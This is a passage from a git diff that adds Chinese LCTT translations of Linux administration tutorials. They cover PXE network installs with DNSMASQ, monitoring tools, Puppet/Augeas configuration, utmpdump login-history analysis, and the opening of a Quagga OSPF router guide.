+[4]:http://www.evolutionlinux.com/downloads.html diff --git a/published/201411/20140919 Network Installation of Debian 7 (Whezzy) on Client Machines using DNSMASQ Network Boot Server.md b/published/201411/20140919 Network Installation of Debian 7 (Whezzy) on Client Machines using DNSMASQ Network Boot Server.md new file mode 100644 index 0000000000..684dd87fbd --- /dev/null +++ b/published/201411/20140919 Network Installation of Debian 7 (Whezzy) on Client Machines using DNSMASQ Network Boot Server.md @@ -0,0 +1,182 @@ +通过网络方式安装 Debian 7(Wheezy) +================================================================================ +本教程将指引你直接通过使用**DNSMASQ**作为**PXE服务器(预启动执行环境)**,以网络方式安装**Debian 7(Wheezy)**,此种情况是假定你的服务器不提供任何CD/DVD/USB介质驱动器,或者它只能通过相连的监视器、键盘和鼠标操作。 + +![Debian 7 Network Installation on Client Machines](http://www.tecmint.com/wp-content/uploads/2014/09/Network-Debian-Instalaltion.png) + +*客户机上的Debian 7网络安装* + +**DNSMASQ**是一个轻量级网络基础架构服务器,它可以通过内建的DNS、DHCP和TFTP服务器提供如DNS、DHCP和网络启动等关键服务。 + +一旦PXE服务器启动并运行,你可以指示你所有的客户机直接从网络启动,前提是你的客户机必须拥有一张支持网络启动的网卡,网络启动可以从BIOS的网络启动或启动服务选项中启用。 + +### 前置阅读 ### + +- [Debian 7 (Wheezy)安装指南][1] + +### 步骤1: 安装及配置DNSMASQ服务器 ### + +**1.** 首先,在安装Debian服务器后,要确保你的系统使用的是**静态IP地址**。因为除了网络启动之外,也要为你的整个网段提供DHCP服务。设置好静态IP地址后,以root帐号或具有root权力的用户来运行以下命令,进行DNSMASQ服务器的安装。 + + # apt-get install dnsmasq + +![Install Dnsmasq Package](http://www.tecmint.com/wp-content/uploads/2014/09/Install-Dnsmasq-in-Debian.png) + +*安装Dnsmasq包* + +**2.** 安装好DNSMASQ包后,你可以开始编辑配置文件。首先创建一个主配置文件的备份,然后使用下面的命令对**dnsmasq.conf**文件进行编辑。 + + # mv /etc/dnsmasq.conf /etc/dnsmasq.conf.backup + # nano /etc/dnsmasq.conf + +![Backup Dnsmasq Configuration](http://www.tecmint.com/wp-content/uploads/2014/09/Backup-dnsmasq-Configuration-file.png) + +*备份Dnsmasq配置* + +**3.** 上面的备份过程适合重命名配置文件,所以新的文件应该是空,你可以使用以下描述的**DNSMASQ**配置文件节录。 + + interface=eth0 + domain=debian.lan + dhcp-range=192.168.1.3,192.168.1.253,255.255.255.0,1h + dhcp-boot=pxelinux.0,pxeserver,192.168.1.100 + pxe-prompt="Press F8 for menu.", 60 + #pxe-service types: x86PC, PC98, IA64_EFI, Alpha, Arc_x86, Intel_Lean_Client, IA32_EFI, BC_EFI, Xscale_EFI and X86-64_EFI + pxe-service=x86PC, "Install Debian 7 Linux from network server 192.168.1.100", pxelinux + enable-tftp + tftp-root=/srv/tftp + +![Configuration of Dnsmasq](http://www.tecmint.com/wp-content/uploads/2014/09/Configure-dnsmasq.png) + +*Dnsmasq配置* + +- **interface** – 服务器监听的网络接口。 +- **domain** – 用你自己的域名替换。 +- **dhcp-range** – 用你自己的网络掩码定义的网络IP地址范围。 +- **dhcp-boot** – 保持默认,但使用你自己的服务器IP地址替换IP声明。 +- **pxe-prompt** – 保持默认 – 要求在**敲击F8键** 进入菜单时等待60秒。 +- **pxe=service** – 使用**x86PC**作为32位/64位架构,并进入引号字符串的菜单描述提示。其它值类型可能是:PC98,IA64_EFI,Alpha,Arc_x86,Intel_Lean_Client,IA32_EFI, BC_EFI,Xscale_EFI和 X86-64_EFI。 +- **enable-tftp** – 启用内建TFTP服务器。 +- **tftp-root** – 使用/srv/tftp作为Debian网络启动文件的存放位置。 + +### 步骤2: 下载Debian网络启动文件并打开防火墙连接 ### + +**4.** 现在,该下载Debian网络启动文件了。首先,修改你当前工作目录路径到**TFTP根目录**位置,此位置由最后的配置语句定义(**/srv/tftp**系统路径)。 + +转到[Debian网络安装][2] – [网络启动部分][3]的官方页面镜像,抓取以下文件,要抓取的文件取决于你想要安装到客户端的系统架构。 + +下载好**netboot.tar.gz**文件后,同时提取归档(该过程描述只适用于64位,但对于其它系统架构也基本相同)。 + + # cd /srv/tftp/ + # wget http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/netboot/netboot.tar.gz + # tar xfz netboot.tar.gz + # wget http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/SHA256SUMS + # wget http://ftp.nl.debian.org/debian/dists/wheezy/Release + # wget http://ftp.nl.debian.org/debian/dists/wheezy/Release.gpg + +同时,必须确保**TFTP**目录中的所有文件都可让TFTP服务器读取。 + + # chmod -R 755 /srv/tftp/ + +![Download Debian NetBoot Files](http://www.tecmint.com/wp-content/uploads/2014/09/Download-Debian-NetBoot-Files.png) + +*下载Debian网络启动文件* + +使用以下变量用于**Debian网络安装**镜像和架构。 + + # wget http://"$YOURMIRROR"/debian/dists/wheezy/main/installer-"$ARCH"/current/images/netboot/netboot.tar.gz + # wget http://"$YOURMIRROR"/debian/dists/wheezy/main/installer-"$ARCH"/current/images/SHA256SUMS + # wget http://"$YOURMIRROR"/debian/dists/wheezy/Release + # wget http://"$YOURMIRROR"/debian/dists/wheezy/Release.gpg + +**5.** 下一步,启动或重启DNSMASQ守护进程,并运行netstat命令来获取服务器监听的端口列表。 + + # service dnsmasq restart + # netstat -tulpn | grep dnsmasq + +![Start Dnsmasq Service](http://www.tecmint.com/wp-content/uploads/2014/09/Start-Dnsmasq-Service.png) + +*启动Dnsmasq服务* + +**6.** 基于Debian的发行版通常附带了**UFW防火墙**包。使用以下命令来打开需要的**DNSMASQ**端口号:**67**(Bootps),**69**(TFTP),**53**(DNS)**4011**(代理DHCP)udp和**53** tcp(DNS)。 + + # ufw allow 69/udp + # ufw allow 4011/udp ## Only if you have a ProxyDHCP on the network + # ufw allow 67/udp + # ufw allow 53/tcp + # ufw allow 53/udp + +![Open Dnsmasq Ports](http://www.tecmint.com/wp-content/uploads/2014/09/Open-Dnsmasq-Ports-620x303.png) + +*开启Dnsmasq端口* + +现在,位于你的客户机网络接口上的PXE加载器将使用按以下顺序从**/srv/tftp/pxelinux.cfg**目录加载**pxelinux**配置文件。 + +- GUID文件 +- MAC文件 +- 默认文件 + +### 步骤3: 配置客户端从网络启动 ### + +**7.** 要为你的客户端计算机启用网络启动,请进入系统**BIOS配置**(如何进入BIOS设置,请查阅硬件主板提供商的文档)。 + +转到**启动菜单**,然后选择**网络启动**作为**首要启动设备**(在某些系统上,你可以不用进入BIOS配置就能选择启动设备,只要在**BIOS自检**时按一个键就可以进行选择了)。 + +![Select BIOS Settings](http://www.tecmint.com/wp-content/uploads/2014/09/Select-BIOS-Settings.png) + +*选择BIOS设置* + +**8。** 在编辑启动顺序后,通常按**F10**来保存BIOS设置。重启后,你的客户端计算机应该可以直接从网络启动了,应该会出第一个**PXE**提示,要求你按**F8**键进入菜单。 + +接下来,敲击**F8**键来进入,会出现一个新的提示。敲击**回车**键,屏幕上会出现**Debian安装器**主界面提示,如下图所示。 + +![Boot Menu Selection](http://www.tecmint.com/wp-content/uploads/2014/09/Boot-Menu-Selection.png) + +*启动菜单选择* + +![Select Debian Installer Boot](http://www.tecmint.com/wp-content/uploads/2014/09/Select-Debian-Installer-Boot.png) + +*选择Debian安装器启动* + +![Select Debian Install](http://www.tecmint.com/wp-content/uploads/2014/09/Select-Debian-Install.png) + +*选择Debian安装* + +从这里开始,你可以使用Debian 7 Wheezy安装进程将Debian安装到你的机器上了(安装链接见上面)。然而,为了能够完成安装进程,你也需要确保你的机器上互联网连接已经激活。 + +### 步骤4: DNSMASQ服务器排障并在系统范围内启用 ### + +**9.** 要诊断服务器以查询最终是否发生问题或要查询其它提供给客户端的信息,运行以下命令来打开日志文件。 + + # tailf /var/log/daemon.log + +![Debug DNSMASQ Server](http://www.tecmint.com/wp-content/uploads/2014/09/Debbug-DNSMASQ-Server.png) + +*DNSMASQ服务器排障* + +**10.** 如果服务器测试中已一切就绪,你现在可以在**sysv-rc-conf**包的帮助下,启用**DNSMASQ**守护进程自启动,以使该进程在系统重启后自动启动。 + + # apt-get install sysv-rc-conf + # sysv-rc-conf dnsmaq on + +![Enable DNSMASQ Daemon](http://www.tecmint.com/wp-content/uploads/2014/09/Enable-DNSMASQ-Daemon.png) + +*启用DNSMASQ守护进程* + +到此为止吧!现在你的**PXE**服务器已经整装待发,随时准备好分配IP地址了(**DHCP**),并为你所有网段中的客户端提供需要的启动信息,这些信息配置用来从网络启动并安装Debian Wheezy。 + +使用PXE网络启动安装在服务器主机数量很多时很有优势,因为你可以在短时间内火同时设置整个网络基础架构,为版本升级提供了方便,也可以通过kickstart文件使整个安装的全自动化。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/network-installation-of-debian-7-on-client-machines/ + +作者:[Matei Cezar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/cezarmatei/ +[1]:http://www.tecmint.com/debian-gnulinux-7-0-code-name-wheezy-server-installation-guide/ +[2]:http://www.debian.org/distrib/netinst#netboot +[3]:http://ftp.nl.debian.org/debian/dists/wheezy/main/ diff --git a/published/201411/20140924 7 killer open source monitoring tools.md b/published/201411/20140924 7 killer open source monitoring tools.md new file mode 100644 index 0000000000..f86ab1bd4f --- /dev/null +++ b/published/201411/20140924 7 killer open source monitoring tools.md @@ -0,0 +1,67 @@ +7个杀手级的开源监测工具 +================================================================================ +想要更清晰的了解你的网络吗?没有比这几个免费的工具更好用的了。 + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_01-netmon-intro-100448913-gallery.idge.jpg) + +网络和系统监控是一个很宽的范畴。有监控服务器、网络设备、应用正常工作的方案,也有跟踪这些系统和设备性能,提供趋势性能分析的解决方案。有些工具像个闹钟一样,当发现问题的时候就会报警,而另外的一些工具甚至可以在警报响起的时候触发一些动作。这里,收集了一些开源的工具,旨在解决上述的一些甚至大部分问题。 + +### Cacti ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_02-netmon-cacti-100448914-orig.jpg) + +Cacti是一个性能广泛的图表和趋势分析工具,可以用来跟踪并几乎可以绘制出任何可监测指标,描绘出图表。从硬盘的利用率到风扇的转速,在一个电脑管理系统中,只要是可以被监测的指标,Cacti都可以监测,并快速的转换成可视化的图表。 + +### Nagios ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_03-netmon-nagios-100448915-orig.jpg) + +Nagios是一个经典的老牌系统和网络监测工具。运行速度快,可靠,需要针对应用定制。Nagios对于初学者是一个挑战。但是它的极其复杂的配置正好也反应出它的强大,因为它几乎可以适用于任何监控任务。要说缺点的话就是不怎么耐看,但是其强劲的功能和可靠性弥补了这个缺点。 + +### Icinga ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_04-netmon-icinga-100448916-orig.jpg) + +Icinga 是一个正在重建的Nagios的分支,它提供了一个全面的监控和警报的框架,致力于设计一个像Nagios一样的开放和可扩展性的平台。但是和Nagios拥有不一样的Web界面。Icinga 1 和 Nagios非常的相近,不过Icinga 2就重写了。两个版本都能很好的兼容,而且,Nagios用户可以很轻松的转到Icinga 1平台。 + +### NeDi ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_05-netmon-nedi-100448917-orig.jpg) + +NeDi可能不如其他的工具一样闻名全世界,但它确是一个跟踪网络接入的一个强大的解决方案。它可以很流畅的运行网络基础设施和设备目录,保持对任何事件的跟踪。并且可以提供任意设备的当前地点,也包括历史地点。 + +NeDi可以被用于定位被偷的,或者是丢失掉的设备,只要设备出现在网络上。它甚至可以在地图上显示所有已发现的节点。并且很清晰的告诉人们网络是怎么互联的到物理设备端口的。 + +### Observium ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_06-netmon-observium-100448918-orig.jpg) + +Observium 综合了系统和网路监控,在性能趋势监测上有很好的表现,它支持静态和动态发现来确认服务器和网络设备,利用多种监测方法,可以监测任何可用的指标。Web界面非常的整洁,易用。 + +就如我们看到的,Observium也可以在地图上显示任何被监测节点的实际地点。需要注意的是面板上关于活跃设备和警报的计数。 + +### Zabbix ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_07-netmon-zabbix-100448919-orig.jpg) + +Zabbix 利用一系列的工具监测服务器和网络。Zabbix的监控代理支持大多数的操作系统,你可以被动的或者是使用外部检查,包括SNMP来监控主机和网络设备。你也会发现很多提醒和通知设施,和一个非常人性化的Web界面,适用于不同的面板,此外,Zabbix还拥有一些特殊的管理工具来监测Web应用和虚拟化的管理程序。 + +Zabbix 还可以提供详细的互联图,以便于我们了解某些对象是怎么连接的。这些图是可以定制的,并且,图也可以以被监测的服务器和主机的分组形式被创建。 + +### Ntop ### + +![](http://images.techhive.com/images/idge/imported/imageapi/2014/09/22/12/slide_08-netmon-ntop-100448920-orig.jpg) + +Ntop是一个数据包嗅探工具。有一个整洁的Web界面,用来显示被监测网络的实时数据。即时的网络数据通过一个高级的绘图工具可以可视化。主机数据流和与之对应的主机通信信息可以被实时的进行可视化显示。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/article/2686794/asset-management/164219-7-killer-open-source-monitoring-tools.html + +作者:[Paul Venezia][a] +译者:[barney-ro](https://github.com/barney-ro) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.networkworld.com/author/Paul-Venezia/ diff --git a/published/201411/20140926 How to manage configurations in Linux with Puppet and Augeas.md b/published/201411/20140926 How to manage configurations in Linux with Puppet and Augeas.md new file mode 100644 index 0000000000..fb47119207 --- /dev/null +++ b/published/201411/20140926 How to manage configurations in Linux with Puppet and Augeas.md @@ -0,0 +1,151 @@ +如何用Puppet和Augeas管理Linux配置 +================================================================================ +虽然[Puppet][1]是一个真正独特的有用工具,但在有些情况下你可以使用一点不同的方法来用它。比如,你要修改几个服务器上已有的配置文件,而且它们彼此稍有不同。Puppet实验室的人也意识到了这一点,他们在 Puppet 中集成了一个叫做[Augeas][2]的伟大的工具,它是专为这种使用情况而设计的。 + +Augeas可被认为填补了Puppet能力的空白,比如在其中一个指定对象的资源类型(例如用于维护/etc/hosts中的条目的主机资源)还不可用时。在这个文档中,您将学习如何使用Augeas来减轻你管理配置文件的负担。 + +### Augeas是什么? ### + +Augeas基本上就是一个配置编辑工具。它以他们原生的格式解析配置文件并且将它们转换成树。配置的更改可以通过操作树来完成,并可以以原生配置文件格式保存配置。 + +### 这篇教程要达成什么目的? ### + +我们会针对[我们之前构建的Puppet服务器][1]安装并配置Augeas。我们会使用这个工具创建并测试几个不同的配置文件,并学习如何适当地使用它来管理我们的系统配置。 + +### 前置阅读 ### + +我们需要一台工作的Puppet服务器和客户端。如果你还没有,请先按照我先前的[教程][1]来。 + +Augeas安装包可以在标准CentOS/RHEL仓库中找到。不幸的是,Puppet用到的Augeas的ruby封装只在puppetlabs仓库中(或者[EPEL][4])中才有。如果你系统中还没有这个仓库,请使用下面的命令: + +在CentOS/RHEL 6.5上: + + # rpm -­ivh https://yum.puppetlabs.com/el/6.5/products/x86_64/puppetlabs­release­6­10.noarch.rpm + +在CentOS/RHEL 7上: + + # rpm -­ivh https://yum.puppetlabs.com/el/7/products/x86_64/puppetlabs­release­7­10.noarch.rpm + +在你成功地安装了这个仓库后,在你的系统中安装Ruby­Augeas: + + # yum install ruby­augeas + +或者如果你是从我的[上一篇教程中继续][1]的,使用puppet的方法安装这个包。在/etc/puppet/manifests/site.pp中修改你的custom_utils类,在packages这行中加入“ruby­augeas”。 + + class custom_utils { + package { ["nmap","telnet","vim­enhanced","traceroute","ruby­augeas"]: + ensure => latest, + allow_virtual => false, + } + } + +### 不带Puppet的Augeas ### + +如我先前所说,最初Augeas并不是来自Puppet实验室,这意味着即使没有Puppet本身我们仍然可以使用它。这种方法可在你将它们部署到Puppet环境之前,验证你的修改和想法是否是正确的。要做到这一点,你需要在你的系统中安装一个额外的软件包。请执行以下命令: + + # yum install augeas + +### Puppet Augeas 示例 ### + +用于演示,这里有几个Augeas使用案例。 + +#### 管理 /etc/sudoers 文件 #### + +1. 给wheel组加上sudo权限。 + +这个例子会向你展示如何在你的GNU/Linux系统中为%wheel组加上sudo权限。 + + # 安装sudo包 + package { 'sudo': + ensure => installed, # 确保sudo包已安装 + } + + # 允许用户属于wheel组来使用sudo + augeas { 'sudo_wheel': + context => '/files/etc/sudoers', # 目标文件是 /etc/sudoers + changes => [ + # 允许wheel用户使用sudo + 'set spec[user = "%wheel"]/user %wheel', + 'set spec[user = "%wheel"]/host_group/host ALL', + 'set spec[user = "%wheel"]/host_group/command ALL', + 'set spec[user = "%wheel"]/host_group/command/runas_user ALL', + ] + } + +现在来解释这些代码做了什么:**spec**定义了/etc/sudoers中的用户段,**[user]**定义了数组中给定的用户,所有的定义放在该用户的斜杠( / ) 后那部分。因此在典型的配置中这个可以这么表达: + + user host_group/host host_group/command host_group/command/runas_user + +这个将被转换成/etc/sudoers下的这一行: + + %wheel ALL = (ALL) ALL + +2. 添加命令别称 + +下面这部分会向你展示如何定义命令别名,它可以在你的sudoer文件中使用。 + + # 创建新的SERVICE别名,包含了一些基本的特权命令。 + augeas { 'sudo_cmdalias': + context => '/files/etc/sudoers', # The target file is /etc/sudoers + changes => [ + "set Cmnd_Alias[alias/name = 'SERVICES']/alias/name SERVICES", + "set Cmnd_Alias[alias/name = 'SERVICES']/alias/command[1] /sbin/service", + "set Cmnd_Alias[alias/name = 'SERVICES']/alias/command[2] /sbin/chkconfig", + "set Cmnd_Alias[alias/name = 'SERVICES']/alias/command[3] /bin/hostname", + "set Cmnd_Alias[alias/name = 'SERVICES']/alias/command[4] /sbin/shutdown", + ] + } + +sudo命令别名的语法很简单:**Cmnd_Alias**定义了命令别名字段,**[alias/name]**绑定所有给定的别名,/alias/name **SERVICES** 定义真实的别名,alias/command 是属于该别名的所有命令的数组。以上将被转换如下: + + Cmnd_Alias SERVICES = /sbin/service , /sbin/chkconfig , /bin/hostname , /sbin/shutdown + +关于/etc/sudoers的更多信息,请访问[官方文档][5]。 + +#### 向一个组中加入用户 #### + +要使用Augeas向组中添加用户,你也许要添加一个新用户,不管是排在 gid 字段还是最后的用户 uid 之后。我们在这个例子中使用SVN组。这可以通过下面的命令达成: + +在Puppet中: + + augeas { 'augeas_mod_group: + context => '/files/etc/group', #目标文件是 /etc/group + changes => [ + "ins user after svn/*[self::gid or self::user][last()]", + "set svn/user[last()] john", + ] + } + +使用 augtool: + + augtool> ins user after /files/etc/group/svn/*[self::gid or self::user][last()] augtool> set /files/etc/group/svn/user[last()] john + +### 总结 ### + +目前为止,你应该对如何在Puppet项目中使用Augeas有点明白了。随意地试一下,你肯定需要浏览官方的Augeas文档。这会帮助你了解如何在你的个人项目中正确地使用Augeas,并且它会让你知道可以用它节省多少时间。 + +如有任何问题,欢迎在下面的评论中发布,我会尽力解答和向你建议。 + +### 有用的链接 ### + +- [http://www.watzmann.net/categories/augeas.html][6]: 包含许多关于 Augeas 使用的教程。 +- [http://projects.puppetlabs.com/projects/1/wiki/puppet_augeas][7]: Puppet wiki 带有许多实例。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/manage-configurations-linux-puppet-augeas.html + +作者:[Jaroslav Štěpánek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/jaroslav +[1]:http://linux.cn/article-3959-1.html +[2]:http://augeas.net/ +[3]:http://xmodulo.com/manage-configurations-linux-puppet-augeas.html +[4]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[5]:http://augeas.net/docs/references/lenses/files/sudoers-aug.html +[6]:http://www.watzmann.net/categories/augeas.html +[7]:http://projects.puppetlabs.com/projects/1/wiki/puppet_augeas \ No newline at end of file diff --git a/published/201411/20140926 How to monitor user login history on CentOS with utmpdump.md b/published/201411/20140926 How to monitor user login history on CentOS with utmpdump.md new file mode 100644 index 0000000000..a4b025b1ca --- /dev/null +++ b/published/201411/20140926 How to monitor user login history on CentOS with utmpdump.md @@ -0,0 +1,120 @@ +使用 utmpdump 监控 CentOS 用户登录历史 +================================================================================ +保留、维护和分析日志(如某个特定时期内发生过的,或正在发生的帐号事件),是Linux系统管理员最基础和最重要的任务之一。对于用户管理,检查用户的登入和登出日志(不管是失败的,还是成功的)可以让我们对任何潜在的安全隐患或未经授权使用系统的情况保持警惕。例如,工作时间之外或放假期间的来自未知IP地址或帐号的远程登录应当发出红色警报。 + +在CentOS系统上,用户登录历史存储在以下这些文件中: + +- /var/run/utmp(用于记录当前打开的会话)被who和w工具用来记录当前有谁登录以及他们正在做什么,而uptime用来记录系统启动时间。 +- /var/log/wtmp (用于存储系统连接历史记录)被last工具用来记录最后登录的用户的列表。 +- /var/log/btmp(记录失败的登录尝试)被lastb工具用来记录最后失败的登录尝试的列表。 + +![](https://farm4.staticflickr.com/3871/15106743340_bd13fcfe1c_o.png) + +在本文中,我将介绍如何使用utmpdump,这个小程序来自sysvinit-tools包,可以用于转储二进制日志文件到文本格式的文件以便检查。此工具默认在CentOS 6和7系列上可用。utmpdump收集到的信息比先前提到过的工具的输出要更全面,这让它成为一个胜任该工作的很不错的工具。除此之外,utmpdump可以用于修改utmp或wtmp。如果你想要修复二进制日志中的任何损坏条目,它会很有用(LCTT 译注:我怎么觉得这像是做坏事的前奏?)。 + +### Utmpdump的使用及其输出说明 ### + +正如我们之前提到的,这些日志文件,与我们大多数人熟悉的其它日志相比(如/var/log/messages,/var/log/cron,/var/log/maillog),是以二进制格式存储的,因而我们不能使用像less或more这样的文件命令来查看它们的内容。所以,utmpdump的出现拯救了世界。 + +为了要显示/var/run/utmp的内容,请运行以下命令: + + # utmpdump /var/run/utmp + +![](https://farm6.staticflickr.com/5595/15106696599_60134e3488_z.jpg) + +同样要显示/var/log/wtmp的内容: + + # utmpdump /var/log/wtmp + +![](https://farm6.staticflickr.com/5591/15106868718_6321c6ff11_z.jpg) + +最后,对于/var/log/btmp: + + # utmpdump /var/log/btmp + +![](https://farm6.staticflickr.com/5562/15293066352_c40bc98ca4_z.jpg) + +正如你所能看到的,三种情况下的输出结果是一样的,除了utmp和btmp的记录是按时间排序,而wtmp的顺序是颠倒的这个原因外(LCTT 译注:此处原文有误,实际上都是按照时间顺序排列的)。 + +每个日志行格式化成了多列,说明如下。第一个字段显示了会话识别符,而第二个字段则是PID。第三个字段可以是以下值:--(表示运行等级改变或系统重启),bw(启动守候进程),数字(表示TTY编号),或者字符和数字(表示伪终端)。第四个字段可以为空或用户名、重启或运行级别。第五个字段是主TTY或PTY(伪终端),如果此信息可获得的话。第六个字段是远程主机名(如果是本地登录,该字段为空,运行级别信息除外,它会返回内核版本)。第七个字段是远程系统的IP地址(如果是本地登录,该字段为0.0.0.0)。如果没有提供DNS解析,第六和第七字段会显示相同的信息(远程系统的IP地址)。最后一个(第八)字段指明了该记录创建的日期和时间。 + +### Utmpdump使用样例 ### + +下面提供了一些utmpdump的简单使用情况。 + +1、 检查8月18日到9月17日之间某个特定用户(如gacanepa)的登录次数。 + + # utmpdump /var/log/wtmp | grep gacanepa + +![](https://farm4.staticflickr.com/3857/15293066362_fb2dd566df_z.jpg) + +如果你需要回顾先前日期的登录信息,你可以检查/var/log下的wtmp-YYYYMMDD(或wtmp.[1...N])和btmp-YYYYMMDD(或btmp.[1...N])文件,这些是由[logrotate][1]生成的旧wtmp和btmp的归档文件。 + +2、 统计来自IP地址192.168.0.101的登录次数。 + + # utmpdump /var/log/wtmp | grep 192.168.0.101 + +![](https://farm4.staticflickr.com/3842/15106743480_55ce84c9fd_z.jpg) + +3、 显示失败的登录尝试。 + + # utmpdump /var/log/btmp + +![](https://farm4.staticflickr.com/3858/15293065292_e1d2562206_z.jpg) + +在/var/log/btmp输出中,每个日志行都与一个失败的登录尝试相关(如使用不正确的密码,或者一个不存在的用户ID)。上面图片中高亮部分显示了使用不存在的用户ID登录,这警告你有人尝试猜测常用帐号名来闯入系统。这在使用tty1的情况下是个极其严重的问题,因为这意味着某人对你机器上的终端具有访问权限(该检查一下谁拿到了进入你数据中心的钥匙了,也许吧?) + +4、 显示每个用户会话的登入和登出信息 + + # utmpdump /var/log/wtmp + +![](https://farm4.staticflickr.com/3835/15293065312_c762360791_z.jpg) + +在/var/logwtmp中,一次新的登录事件的特征是,第一个字段为‘7’,第三个字段是一个终端编号(或伪终端id),第四个字段为用户名。相关的登出事件会在第一个字段显示‘8’,第二个字段显示与登录一样的PID,而终端编号字段空白。例如,仔细观察上面图片中PID 1463的行。 + +- 在 [Fri Sep 19 11:57:40 2014 ART],TTY1上显示登录提示符。 +- 在 [Fri Sep 19 12:04:21 2014 ART],用户 root 登入。 +- 在 [Fri Sep 19 12:07:24 2014 ART],用户 root 登出。 + +旁注:第四个字段的LOGIN意味着出现了一次登录到第五字段指定的终端的提示。 + +到目前为止,我介绍一些有点琐碎的例子。你可以将utmpdump和其它一些文本处理工具,如awk、sed、grep或cut组合,来产生过滤和加强的输出。 + +例如,你可以使用以下命令来列出某个特定用户(如gacanepa)的所有登录事件,并发送输出结果到.csv文件,它可以用像LibreOffice Calc或Microsoft Excel之类的文字或工作簿应用程序打开查看。让我们只显示PID、用户名、IP地址和时间戳: + + # utmpdump /var/log/wtmp | grep -E "\[7].*gacanepa" | awk -v OFS="," 'BEGIN {FS="] "}; {print $2,$4,$7,$8}' | sed -e 's/\[//g' -e 's/\]//g' + +![](https://farm4.staticflickr.com/3851/15293065352_91e1c1e4b6_z.jpg) + +就像上面图片中三个高亮区域描绘的那样,过滤逻辑操作是由三个管道步骤组成的。第一步用于查找由用户gacanepa触发的登录事件([7]);第二步和第三部用于选择期望的字段,移除utmpdump输出的方括号并设置输出字段分隔符为逗号。 + +当然,如果你想要在以后打开来看,你需要重定向上面的命令输出到文件(添加“>[文件名].csv”到命令后面)。 + +![](https://farm4.staticflickr.com/3889/15106867768_0e37881a25_z.jpg) + +在更为复杂的例子中,如果你想要知道在特定时间内哪些用户(在/etc/passwd中列出)没有登录,你可以从/etc/passwd中提取用户名,然后运行grep命令来获取/var/log/wtmp输出中对应用户的列表。就像你看到的那样,有着无限可能。 + +在进行总结之前,让我们简要地展示一下utmpdump的另外一种使用情况:修改utmp或wtmp。由于这些都是二进制日志文件,你不能像编辑文件一样来编辑它们。取而代之是,你可以将其内容输出成为文本格式,并修改文本输出内容,然后将修改后的内容导入回二进制日志中。如下: + + # utmpdump /var/log/utmp > tmp_output + <使用文本编辑器修改 tmp_output> + # utmpdump -r tmp_output > /var/log/utmp + +这在你想要移除或修复二进制日志中的任何伪造条目时很有用。 + +下面小结一下,utmpdump从utmp、wtmp和btmp日志文件或轮循的旧归档文件来读取详细的登录事件,来补充如who,w,uptime,last,lastb之类的标准工具的不足,这也使得它成为一个很棒的工具。 + +你可以随意添加评论以加强本帖的含金量。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/09/monitor-user-login-history-centos-utmpdump.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://linux.cn/article-4126-1.html diff --git a/published/201411/20140928 How to turn your CentOS box into an OSPF router using Quagga.md b/published/201411/20140928 How to turn your CentOS box into an OSPF router using Quagga.md new file mode 100644 index 0000000000..544ea12a6d --- /dev/null +++ b/published/201411/20140928 How to turn your CentOS box into an OSPF router using Quagga.md @@ -0,0 +1,224 @@ + 想玩路由器吗?使用 Quagga 将你的 CentOS 变成 OSPF 路由器 +================================================================================ +[Quagga][1]是一个开源路由软件套件,可以将Linux变成支持如RIP、OSPF、BGP和IS-IS等主要路由协议的路由器。它具有对IPv4和IPv6的完整支持,并支持路由/前缀过滤。Quagga可以是你生命中的救星,以防你的生产路由器一旦宕机,而你没有备用的设备而只能等待更换。通过适当的配置,Quagga甚至可以作为生产路由器。 + +本教程中,我们将连接假设之间具有专线连接的两个分支机构网络(例如,192.168.1.0/24和172.17.1.0/24)。 + +![](https://farm4.staticflickr.com/3861/15172727969_13cb7f037f_b.jpg) + +我们的CentOS位于所述专用链路的两端。两台主机名分别设置为“site-A-RTR”和“site-B-RTR'。下面是IP地址的详细信息。 + +- **Site-A**: 192.168.1.0/24 +- **Site-B**: 172.16.1.0/24 +- **两个 Linux 路由器之间的对等网络**: 10.10.10.0/30 + +Quagga包括了几个协同工作的守护进程。在本教程中,我们将重点建立以下守护进程。 + +1. **Zebra**: 核心守护进程,负责内核接口和静态路由。 +1. **Ospfd**: IPv4 OSPF 守护进程。 + +### 在CentOS上安装Quagga ### + +我们使用yum安装Quagga。 + + # yum install quagga + +在CentOS7,SELinux默认会阻止quagga将配置文件写到/usr/sbin/zebra。这个SELinux策略会干扰我们接下来要介绍的安装过程,所以我们要禁用此策略。对于这一点,无论是[关闭SELinux][2](这里不推荐),还是如下启用“zebra_write_config”都可以。如果你使用的是CentOS 6的请跳过此步骤。 + + # setsebool -P zebra_write_config 1 + +如果没有做这个修改,在我们尝试在Quagga命令行中保存配置的时候看到如下错误。 + + Can't open configuration file /etc/quagga/zebra.conf.OS1Uu5. + 